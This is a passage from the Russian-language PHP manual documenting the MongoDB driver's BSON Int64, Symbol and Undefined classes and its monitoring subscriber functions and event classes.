  • MongoDB\BSON\DBPointer::serialize() - Сериализует DBPointer
  • unserialize() - Создаёт PHP-значение из хранимого представления
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\BSON\Int64

(mongodb >=1.5.0)

Введение

Тип BSON для 64-разрядного целого числа. При декодировании BSON в данные PHP этот класс используется, когда 64-битное целое число не может быть представлено как целое число PHP на 32-битных платформах. Эти объекты поддерживают перегруженные арифметические, побитовые операторы и операторы сравнения.

При работе с необработанными BSON данными с помощью классов MongoDB\BSON\Document, MongoDB\BSON\PackedArray и MongoDB\BSON\Iterator, любое 64-битное целое число будет возвращено как экземпляр этого класса, независимо от платформы и того, может ли значение быть представлено как целое число PHP. Это гарантирует, что значения могут быть переданы по кругу без изменения типа.

Во время кодирования BSON объекты этого класса будут преобразованы обратно в 64-битный целочисленный тип, даже если значение помещается в 32-битное целое число. Это позволяет явно хранить значения как 64-битные целые числа в BSON.

Обзор классов

final class MongoDB\BSON\Int64 implements MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* Методы */
final public __construct(int|string $value)
final public jsonSerialize(): mixed
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

Список изменений

Версия | Описание
PECL mongodb 1.16.0 | Теперь класс может быть инициализирован на всех платформах. Добавлена поддержка перегруженных арифметических, побитовых операторов и операторов сравнения.
PECL mongodb 1.12.0 | Реализует интерфейс Stringable для PHP 8.0+.

Содержание

  • MongoDB\BSON\Int64::__construct — Создаёт новый Int64
  • MongoDB\BSON\Int64::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
  • MongoDB\BSON\Int64::serialize — Сериализует Int64
  • MongoDB\BSON\Int64::__toString — Возвращает строковое представление Int64
  • MongoDB\BSON\Int64::unserialize — Десериализует Int64

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый Int64

  • « MongoDB\BSON\Int64
  • MongoDB\BSON\Int64::jsonSerialize »
  • PHP Manual
  • MongoDB\BSON\Int64
  • Создаёт новый Int64

MongoDB\BSON\Int64::__construct

(mongodb >=1.5.0)

MongoDB\BSON\Int64::__construct — Создаёт новый Int64

Описание

final public MongoDB\BSON\Int64::__construct(int|string $value)

Создаёт новый экземпляр MongoDB\BSON\Int64 для заданного целого числа.

Список параметров

value (int|string)

Значение, присваиваемое экземпляру Int64. Это значение может быть предоставлено как целое число (int) или строка (string), последнее требуется на 32-битных платформах для представления 64-битных значений.

Список изменений

Версия | Описание
PECL mongodb 1.16.0 | Метод стал доступен для поддержки создания экземпляров Int64 при работе с необработанным BSON.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выбрасывает исключение MongoDB\Driver\Exception\InvalidArgumentException, если строка value не может быть разобрана как 64-битное целое число.

Смотрите также

  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает представление, которое можно преобразовать в JSON

  • « MongoDB\BSON\Int64::__construct
  • MongoDB\BSON\Int64::serialize »
  • PHP Manual
  • MongoDB\BSON\Int64
  • Возвращает представление, которое можно преобразовать в JSON

MongoDB\BSON\Int64::jsonSerialize

(mongodb >=1.5.0)

MongoDB\BSON\Int64::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON

Описание

final public MongoDB\BSON\Int64::jsonSerialize(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает данные, которые могут быть сериализованы с помощью json_encode() для создания расширенного JSON-представления MongoDB\BSON\Int64.

Замечание: Вывод соответствует функции MongoDB\BSON\toCanonicalExtendedJSON(), которая использует » канонический расширенный формат JSON. Это отличается от других классов BSON, которые используют устаревший расширенный формат JSON для конкретного драйвера (MongoDB\BSON\toJSON()), чтобы обеспечить правильное представление 64-разрядного целочисленного значения на 32-разрядных платформах.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • JsonSerializable::jsonSerialize() - Задаёт данные, которые должны быть сериализованы в JSON
  • json_encode() - Возвращает JSON-представление данных
  • MongoDB\BSON\toCanonicalExtendedJSON() - Возвращает Canonical Extended JSON представление для значения BSON
  • MongoDB\BSON\toRelaxedExtendedJSON() - Возвращает Relaxed Extended JSON представление значения BSON
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Сериализует Int64

  • « MongoDB\BSON\Int64::jsonSerialize
  • MongoDB\BSON\Int64::__toString »
  • PHP Manual
  • MongoDB\BSON\Int64
  • Сериализует Int64

MongoDB\BSON\Int64::serialize

(mongodb >=1.5.0)

MongoDB\BSON\Int64::serialize — Сериализует Int64

Описание

final public MongoDB\BSON\Int64::serialize(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сериализованное представление MongoDB\BSON\Int64.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\Int64::unserialize() - Десериализует Int64
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает строковое представление Int64

  • « MongoDB\BSON\Int64::serialize
  • MongoDB\BSON\Int64::unserialize »
  • PHP Manual
  • MongoDB\BSON\Int64
  • Возвращает строковое представление Int64

MongoDB\BSON\Int64::__toString

(mongodb >=1.5.0)

MongoDB\BSON\Int64::__toString — Возвращает строковое представление Int64

Описание

final public MongoDB\BSON\Int64::__toString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строковое представление Int64.

Примеры

Пример #1 Пример использования MongoDB\BSON\Int64::__toString()

<?php

$int64 = new MongoDB\BSON\Int64('9223372036854775807');

var_dump((string) $int64);

?>

Результатом выполнения данного примера будет что-то подобное:

string(19) "9223372036854775807"

Смотрите также

  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Десериализует Int64

  • « MongoDB\BSON\Int64::__toString
  • MongoDB\BSON\Symbol »
  • PHP Manual
  • MongoDB\BSON\Int64
  • Десериализует Int64

MongoDB\BSON\Int64::unserialize

(mongodb >=1.5.0)

MongoDB\BSON\Int64::unserialize — Десериализует Int64

Описание

final public MongoDB\BSON\Int64::unserialize(string $data): void

Список параметров

data

Сериализованный MongoDB\BSON\Int64.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.
  • Выдаёт исключение MongoDB\Driver\Exception\UnexpectedValueException, если свойства не могут быть не сериализованы (то есть serialized был неправильно сформирован).
  • Выдаёт исключение MongoDB\Driver\Exception\InvalidArgumentException, если свойства недопустимы (например, отсутствуют поля или недопустимые значения).

Смотрите также

  • MongoDB\BSON\Int64::serialize() - Сериализует Int64
  • unserialize() - Создаёт PHP-значение из хранимого представления
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\BSON\Symbol (устаревший)

(mongodb >=1.4.0)

Введение

Тип BSON для типа "Symbol". Этот тип BSON устарел, и этот класс не может быть создан. Он будет создан из типа символа BSON во время преобразования BSON в PHP, а также при преобразовании обратно в BSON при хранении документов в базе данных.

Обзор классов

class MongoDB\BSON\Symbol implements MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* Методы */
final private __construct()
final public jsonSerialize(): mixed
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

Список изменений

Версия | Описание
PECL mongodb 1.12.0 | Реализует интерфейс Stringable для PHP 8.0+.

Содержание

  • MongoDB\BSON\Symbol::__construct — Создаёт новый Symbol (не используется)
  • MongoDB\BSON\Symbol::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
  • MongoDB\BSON\Symbol::serialize — Сериализует Symbol
  • MongoDB\BSON\Symbol::__toString — Возвращает Symbol в виде строки
  • MongoDB\BSON\Symbol::unserialize — Десериализует Symbol

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый Symbol (не используется)

  • « MongoDB\BSON\Symbol
  • MongoDB\BSON\Symbol::jsonSerialize »
  • PHP Manual
  • MongoDB\BSON\Symbol
  • Создаёт новый Symbol (не используется)

MongoDB\BSON\Symbol::__construct

(mongodb >=1.4.0)

MongoDB\BSON\Symbol::__construct — Создаёт новый Symbol (не используется)

Описание

final private MongoDB\BSON\Symbol::__construct()

Объекты MongoDB\BSON\Symbol создаются путём преобразования из устаревшего типа BSON и не могут быть созданы напрямую.

Список параметров

У этой функции нет параметров.

Смотрите также

  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает представление, которое можно преобразовать в JSON

  • « MongoDB\BSON\Symbol::__construct
  • MongoDB\BSON\Symbol::serialize »
  • PHP Manual
  • MongoDB\BSON\Symbol
  • Возвращает представление, которое можно преобразовать в JSON

MongoDB\BSON\Symbol::jsonSerialize

(mongodb >=1.4.0)

MongoDB\BSON\Symbol::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON

Описание

final public MongoDB\BSON\Symbol::jsonSerialize(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает данные, которые могут быть сериализованы с помощью json_encode() для создания расширенного JSON-представления MongoDB\BSON\Symbol.

Замечание: Вывод соответствует выводу функции MongoDB\BSON\toJSON(), которая использует унаследованный, специфичный для драйвера, расширенный формат JSON. Он не обязательно будет подходить под » relaxed или » canonical представления расширенного JSON, используемых в MongoDB\BSON\toRelaxedExtendedJSON() и MongoDB\BSON\toCanonicalExtendedJSON(), соответственно.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • JsonSerializable::jsonSerialize() - Задаёт данные, которые должны быть сериализованы в JSON
  • json_encode() - Возвращает JSON-представление данных
  • MongoDB\BSON\toCanonicalExtendedJSON() - Возвращает Canonical Extended JSON представление для значения BSON
  • MongoDB\BSON\toRelaxedExtendedJSON() - Возвращает Relaxed Extended JSON представление значения BSON
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Сериализует Symbol

  • « MongoDB\BSON\Symbol::jsonSerialize
  • MongoDB\BSON\Symbol::__toString »
  • PHP Manual
  • MongoDB\BSON\Symbol
  • Сериализует Symbol

MongoDB\BSON\Symbol::serialize

(mongodb >=1.4.0)

MongoDB\BSON\Symbol::serialize — Сериализует Symbol

Описание

final public MongoDB\BSON\Symbol::serialize(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сериализованное представление MongoDB\BSON\Symbol.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\Symbol::unserialize() - Десериализует Symbol
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает Symbol в виде строки

  • « MongoDB\BSON\Symbol::serialize
  • MongoDB\BSON\Symbol::unserialize »
  • PHP Manual
  • MongoDB\BSON\Symbol
  • Возвращает Symbol в виде строки

MongoDB\BSON\Symbol::__toString

(mongodb >=1.4.0)

MongoDB\BSON\Symbol::__toString — Возвращает Symbol в виде строки

Описание

final public MongoDB\BSON\Symbol::__toString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строковое представление Symbol.

Смотрите также

  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Десериализует Symbol

  • « MongoDB\BSON\Symbol::__toString
  • MongoDB\BSON\Undefined »
  • PHP Manual
  • MongoDB\BSON\Symbol
  • Десериализует Symbol

MongoDB\BSON\Symbol::unserialize

(mongodb >=1.4.0)

MongoDB\BSON\Symbol::unserialize — Десериализует Symbol

Описание

final public MongoDB\BSON\Symbol::unserialize(string $data): void

Список параметров

data

Сериализованный MongoDB\BSON\Symbol.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\Symbol::serialize() - Сериализует Symbol
  • unserialize() - Создаёт PHP-значение из хранимого представления
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\BSON\Undefined (устарело)

(mongodb >=1.4.0)

Введение

Тип BSON для типа "Undefined". Этот тип BSON устарел, и этот класс не может быть создан. Он будет создан из неопределённого типа BSON при преобразовании BSON в PHP, а также может быть преобразован обратно в BSON при хранении документов в базе данных.

Обзор классов

final class MongoDB\BSON\Undefined implements MongoDB\BSON\Type, Serializable, JsonSerializable, Stringable {
/* Методы */
final private __construct()
final public jsonSerialize(): mixed
final public serialize(): string
final public __toString(): string
final public unserialize(string $data): void
}

Список изменений

Версия | Описание
PECL mongodb 1.12.0 | Реализует интерфейс Stringable для PHP 8.0+.

Содержание

  • MongoDB\BSON\Undefined::__construct — Создаёт новый Undefined (не используется)
  • MongoDB\BSON\Undefined::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON
  • MongoDB\BSON\Undefined::serialize — Сериализует Undefined
  • MongoDB\BSON\Undefined::__toString — Возвращает пустую строку
  • MongoDB\BSON\Undefined::unserialize — Десериализует Undefined

User Contributed Notes

There are no user contributed notes for this page.


Создаёт новый Undefined (не используется)

  • « MongoDB\BSON\Undefined
  • MongoDB\BSON\Undefined::jsonSerialize »
  • PHP Manual
  • MongoDB\BSON\Undefined
  • Создаёт новый Undefined (не используется)

MongoDB\BSON\Undefined::__construct

(mongodb >=1.4.0)

MongoDB\BSON\Undefined::__construct — Создаёт новый Undefined (не используется)

Описание

final private MongoDB\BSON\Undefined::__construct()

Объекты MongoDB\BSON\Undefined создаются путём преобразования из устаревшего типа BSON и не могут быть созданы напрямую.

Список параметров

У этой функции нет параметров.

Смотрите также

  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Возвращает представление, которое можно преобразовать в JSON

  • « MongoDB\BSON\Undefined::__construct
  • MongoDB\BSON\Undefined::serialize »
  • PHP Manual
  • MongoDB\BSON\Undefined
  • Возвращает представление, которое можно преобразовать в JSON

MongoDB\BSON\Undefined::jsonSerialize

(mongodb >=1.4.0)

MongoDB\BSON\Undefined::jsonSerialize — Возвращает представление, которое можно преобразовать в JSON

Описание

final public MongoDB\BSON\Undefined::jsonSerialize(): mixed

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает данные, которые могут быть сериализованы с помощью json_encode() для создания расширенного JSON-представления MongoDB\BSON\Undefined.

Замечание: Вывод соответствует выводу функции MongoDB\BSON\toJSON(), которая использует унаследованный, специфичный для драйвера, расширенный формат JSON. Он не обязательно будет подходить под » relaxed или » canonical представления расширенного JSON, используемых в MongoDB\BSON\toRelaxedExtendedJSON() и MongoDB\BSON\toCanonicalExtendedJSON(), соответственно.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • JsonSerializable::jsonSerialize() - Задаёт данные, которые должны быть сериализованы в JSON
  • json_encode() - Возвращает JSON-представление данных
  • MongoDB\BSON\toCanonicalExtendedJSON() - Возвращает Canonical Extended JSON представление для значения BSON
  • MongoDB\BSON\toRelaxedExtendedJSON() - Возвращает Relaxed Extended JSON представление значения BSON
  • » MongoDB Extended JSON

User Contributed Notes

There are no user contributed notes for this page.


Сериализует Undefined

  • « MongoDB\BSON\Undefined::jsonSerialize
  • MongoDB\BSON\Undefined::__toString »
  • PHP Manual
  • MongoDB\BSON\Undefined
  • Сериализует Undefined

MongoDB\BSON\Undefined::serialize

(mongodb >=1.4.0)

MongoDB\BSON\Undefined::serialize — Сериализует Undefined

Описание

final public MongoDB\BSON\Undefined::serialize(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает сериализованное представление MongoDB\BSON\Undefined.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\Undefined::unserialize() - Десериализует Undefined
  • serialize() - Генерирует пригодное для хранения представление переменной
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Возвращает пустую строку

  • « MongoDB\BSON\Undefined::serialize
  • MongoDB\BSON\Undefined::unserialize »
  • PHP Manual
  • MongoDB\BSON\Undefined
  • Возвращает пустую строку

MongoDB\BSON\Undefined::__toString

(mongodb >=1.4.0)

MongoDB\BSON\Undefined::__toString — Возвращает пустую строку

Описание

final public MongoDB\BSON\Undefined::__toString(): string

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает пустую строку.

Смотрите также

  • » Типы BSON

User Contributed Notes

There are no user contributed notes for this page.


Десериализует Undefined

  • « MongoDB\BSON\Undefined::__toString
  • MongoDB\Driver\Monitoring »
  • PHP Manual
  • MongoDB\BSON\Undefined
  • Десериализует Undefined

MongoDB\BSON\Undefined::unserialize

(mongodb >=1.4.0)

MongoDB\BSON\Undefined::unserialize — Десериализует Undefined

Описание

final public MongoDB\BSON\Undefined::unserialize(string $data): void

Список параметров

data

Сериализованный MongoDB\BSON\Undefined.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\BSON\Undefined::serialize() - Сериализует Undefined
  • unserialize() - Создаёт PHP-значение из хранимого представления
  • Сериализация объектов

User Contributed Notes

There are no user contributed notes for this page.


Классы мониторинга и функции подписчика

  • Функции
    • MongoDB\Driver\Monitoring\addSubscriber — Глобальная регистрация подписчика на событие мониторинга
    • MongoDB\Driver\Monitoring\removeSubscriber — Отменяет глобальную регистрацию подписчика на событие мониторинга
  • MongoDB\Driver\Monitoring\CommandFailedEvent — Класс MongoDB\Driver\Monitoring\CommandFailedEvent
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getCommandName — Возвращает имя команды
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getDurationMicros — Возвращает длительность команды в микросекундах
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getError — Возвращает исключение, связанное с неудачной командой
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getOperationId — Возвращает идентификатор операции команды
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getReply — Возвращает документ ответа команды
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getRequestId — Возвращает идентификатор запроса команды
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getServer — Возвращает сервер, на котором была выполнена команда
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getServerConnectionId — Возвращает идентификатор соединения с сервером для команды
    • MongoDB\Driver\Monitoring\CommandFailedEvent::getServiceId — Возвращает идентификатор службы балансировщика нагрузки для команды
  • MongoDB\Driver\Monitoring\CommandStartedEvent — Класс MongoDB\Driver\Monitoring\CommandStartedEvent
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getCommand — Возвращает документ команды
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getCommandName — Возвращает имя команды
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getDatabaseName — Возвращает базу данных, на которой выполнялась команда
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getOperationId — Возвращает идентификатор операции команды
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getRequestId — Возвращает идентификатор запроса команды
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getServer — Возвращает сервер, на котором была выполнена команда
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getServerConnectionId — Возвращает идентификатор соединения с сервером для команды
    • MongoDB\Driver\Monitoring\CommandStartedEvent::getServiceId — Возвращает идентификатор службы балансировщика нагрузки для команды
  • MongoDB\Driver\Monitoring\CommandSucceededEvent — Класс MongoDB\Driver\Monitoring\CommandSucceededEvent
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getCommandName — Возвращает имя команды
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getDurationMicros — Возвращает длительность команды в микросекундах
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getOperationId — Возвращает идентификатор операции команды
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getReply — Возвращает документ ответа команды
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getRequestId — Возвращает идентификатор запроса команды
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServer — Возвращает сервер, на котором была выполнена команда
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServerConnectionId — Возвращает идентификатор соединения с сервером для команды
    • MongoDB\Driver\Monitoring\CommandSucceededEvent::getServiceId — Возвращает идентификатор службы балансировщика нагрузки для команды
  • MongoDB\Driver\Monitoring\ServerChangedEvent — Класс MongoDB\Driver\Monitoring\ServerChangedEvent
    • MongoDB\Driver\Monitoring\ServerChangedEvent::getHost — Возвращает имя хоста сервера
    • MongoDB\Driver\Monitoring\ServerChangedEvent::getNewDescription — Возвращает новое описание сервера
    • MongoDB\Driver\Monitoring\ServerChangedEvent::getPort — Возвращает порт, на котором прослушивается сервер
    • MongoDB\Driver\Monitoring\ServerChangedEvent::getPreviousDescription — Возвращает предыдущее описание сервера
    • MongoDB\Driver\Monitoring\ServerChangedEvent::getTopologyId — Возвращает идентификатор топологии, связанный с этим сервером
  • MongoDB\Driver\Monitoring\ServerClosedEvent — Класс MongoDB\Driver\Monitoring\ServerClosedEvent
    • MongoDB\Driver\Monitoring\ServerClosedEvent::getHost — Возвращает имя хоста сервера
    • MongoDB\Driver\Monitoring\ServerClosedEvent::getPort — Возвращает порт, на котором прослушивается сервер
    • MongoDB\Driver\Monitoring\ServerClosedEvent::getTopologyId — Возвращает идентификатор топологии, связанный с этим сервером
  • MongoDB\Driver\Monitoring\ServerOpeningEvent — Класс MongoDB\Driver\Monitoring\ServerOpeningEvent
    • MongoDB\Driver\Monitoring\ServerOpeningEvent::getHost — Возвращает имя хоста сервера
    • MongoDB\Driver\Monitoring\ServerOpeningEvent::getPort — Возвращает порт, на котором прослушивается сервер
    • MongoDB\Driver\Monitoring\ServerOpeningEvent::getTopologyId — Returns the topology ID associated with this server
  • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent — Класс MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent
    • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getDurationMicros — Возвращает продолжительность heartbeat в микросекундах
    • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getError — Возвращает исключение, связанное с неудачным выполнением heartbeat
    • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getHost — Возвращает имя хоста сервера
    • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::getPort — Возвращает порт, на котором прослушивается сервер
    • MongoDB\Driver\Monitoring\ServerHeartbeatFailedEvent::isAwaited — Возвращает, использовался ли в heartbeat потоковый протокол
  • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent — Класс MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent
    • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getHost — Возвращает имя хоста сервера
    • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::getPort — Возвращает порт, на котором прослушивается сервер
    • MongoDB\Driver\Monitoring\ServerHeartbeatStartedEvent::isAwaited — Возвращает, использовался ли в heartbeat потоковый протокол
  • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent — Класс MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent
    • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getDurationMicros — Возвращает продолжительность heartbeat в микросекундах
    • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getHost — Возвращает имя хоста сервера
    • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getPort — Возвращает порт, на котором прослушивается сервер
    • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::getReply — Возвращает документ ответа heartbeat
    • MongoDB\Driver\Monitoring\ServerHeartbeatSucceededEvent::isAwaited — Возвращает, использовался ли в heartbeat потоковый протокол
  • MongoDB\Driver\Monitoring\TopologyChangedEvent — Класс MongoDB\Driver\Monitoring\TopologyChangedEvent
    • MongoDB\Driver\Monitoring\TopologyChangedEvent::getNewDescription — Возвращает новое описание топологии
    • MongoDB\Driver\Monitoring\TopologyChangedEvent::getPreviousDescription — Возвращает предыдущее описание топологии
    • MongoDB\Driver\Monitoring\TopologyChangedEvent::getTopologyId — Возвращает идентификатор топологии
  • MongoDB\Driver\Monitoring\TopologyClosedEvent — Класс MongoDB\Driver\Monitoring\TopologyClosedEvent
    • MongoDB\Driver\Monitoring\TopologyClosedEvent::getTopologyId — Возвращает идентификатор топологии
  • MongoDB\Driver\Monitoring\TopologyOpeningEvent — Класс MongoDB\Driver\Monitoring\TopologyOpeningEvent
    • MongoDB\Driver\Monitoring\TopologyOpeningEvent::getTopologyId — Возвращает идентификатор топологии
  • MongoDB\Driver\Monitoring\CommandSubscriber — Интерфейс The MongoDB\Driver\Monitoring\CommandSubscriber
    • MongoDB\Driver\Monitoring\CommandSubscriber::commandFailed — Метод уведомления о неудачной команде
    • MongoDB\Driver\Monitoring\CommandSubscriber::commandStarted — Метод уведомления о запущенной команде
    • MongoDB\Driver\Monitoring\CommandSubscriber::commandSucceeded — Метод уведомления об успешной команде
  • MongoDB\Driver\Monitoring\LogSubscriber — The MongoDB\Driver\Monitoring\LogSubscriber interface
    • MongoDB\Driver\Monitoring\LogSubscriber::log — Notification method for a log message
  • MongoDB\Driver\Monitoring\SDAMSubscriber — Интерфейс MongoDB\Driver\Monitoring\SDAMSubscriber
    • MongoDB\Driver\Monitoring\SDAMSubscriber::serverChanged — Метод уведомления об изменении описания сервера
    • MongoDB\Driver\Monitoring\SDAMSubscriber::serverClosed — Метод уведомления о закрытии сервера
    • MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatFailed — Метод уведомления о неудачном heartbeat сервера
    • MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatStarted — Метод уведомления о запущенном heartbeat сервера
    • MongoDB\Driver\Monitoring\SDAMSubscriber::serverHeartbeatSucceeded — Метод уведомления об успешном heartbeat сервера
    • MongoDB\Driver\Monitoring\SDAMSubscriber::serverOpening — Метод уведомления об открытии сервера
    • MongoDB\Driver\Monitoring\SDAMSubscriber::topologyChanged — Метод уведомления об изменении описания топологии
    • MongoDB\Driver\Monitoring\SDAMSubscriber::topologyClosed — Метод уведомления о закрытии топологии
    • MongoDB\Driver\Monitoring\SDAMSubscriber::topologyOpening — Метод уведомления об открытии топологии
  • MongoDB\Driver\Monitoring\Subscriber — Интерфейс MongoDB\Driver\Monitoring\Subscriber

User Contributed Notes

There are no user contributed notes for this page.


Функции

Содержание

  • MongoDB\Driver\Monitoring\addSubscriber — Глобальная регистрация подписчика на событие мониторинга
  • MongoDB\Driver\Monitoring\removeSubscriber — Отменяет глобальную регистрацию подписчика на событие мониторинга

User Contributed Notes

There are no user contributed notes for this page.


Глобальная регистрация подписчика на событие мониторинга

  • « Функции
  • MongoDB\Driver\Monitoring\removeSubscriber »
  • PHP Manual
  • Функции
  • Глобальная регистрация подписчика на событие мониторинга

MongoDB\Driver\Monitoring\addSubscriber

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\addSubscriber — Глобальная регистрация подписчика на событие мониторинга

Описание

MongoDB\Driver\Monitoring\addSubscriber(MongoDB\Driver\Monitoring\Subscriber $subscriber): void

Глобально регистрирует подписчика на событие мониторинга. Подписчик будет уведомлён обо всех событиях в драйвере для любого менеджера.

Замечание: Если subscriber уже зарегистрирован глобально, функция отработает без результата. Если subscriber также зарегистрирован с одним или несколькими менеджерами, он все равно получит уведомление один раз о каждом событии для каждого менеджера.

Список параметров

subscriber (MongoDB\Driver\Monitoring\Subscriber)

Подписчик событий мониторинга для глобальной регистрации.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\removeSubscriber() - Отменяет глобальную регистрацию подписчика на событие мониторинга
  • MongoDB\Driver\Monitoring\Subscriber
  • MongoDB\Driver\Monitoring\CommandSubscriber
  • MongoDB\Driver\Manager::addSubscriber() - Регистрирует подписчика на событие мониторинга в данном объекте Manager
  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Отменяет глобальную регистрацию подписчика на событие мониторинга

  • « MongoDB\Driver\Monitoring\addSubscriber
  • MongoDB\Driver\Monitoring\CommandFailedEvent »
  • PHP Manual
  • Функции
  • Отменяет глобальную регистрацию подписчика на событие мониторинга

MongoDB\Driver\Monitoring\removeSubscriber

(mongodb >=1.3.0)

MongoDB\Driver\Monitoring\removeSubscriber — Отменяет глобальную регистрацию подписчика на событие мониторинга

Описание

MongoDB\Driver\Monitoring\removeSubscriber(MongoDB\Driver\Monitoring\Subscriber $subscriber): void

Отменяет глобальную регистрацию подписчика на событие мониторинга.

Замечание: Если subscriber ещё не зарегистрирован глобально, функция отработает без результата.

Список параметров

subscriber (MongoDB\Driver\Monitoring\Subscriber)

Подписчик на событие мониторинга для глобальной отмены регистрации.

Возвращаемые значения

Функция не возвращает значения после выполнения.

Ошибки

  • При ошибке парсинга аргумента бросает исключение MongoDB\Driver\Exception\InvalidArgumentException.

Смотрите также

  • MongoDB\Driver\Monitoring\addSubscriber() - Глобальная регистрация подписчика на событие мониторинга
  • MongoDB\Driver\Monitoring\Subscriber
  • MongoDB\Driver\Monitoring\CommandSubscriber
  • MongoDB\Driver\Manager::removeSubscriber() - Отменяет регистрацию подписчика на событие мониторинга в данном объекте Manager
  • Мониторинг производительности приложения (Application Performance Monitoring или APM)

User Contributed Notes

There are no user contributed notes for this page.


Класс MongoDB\Driver\Monitoring\CommandFailedEvent

(mongodb >=1.3.0)

Введение

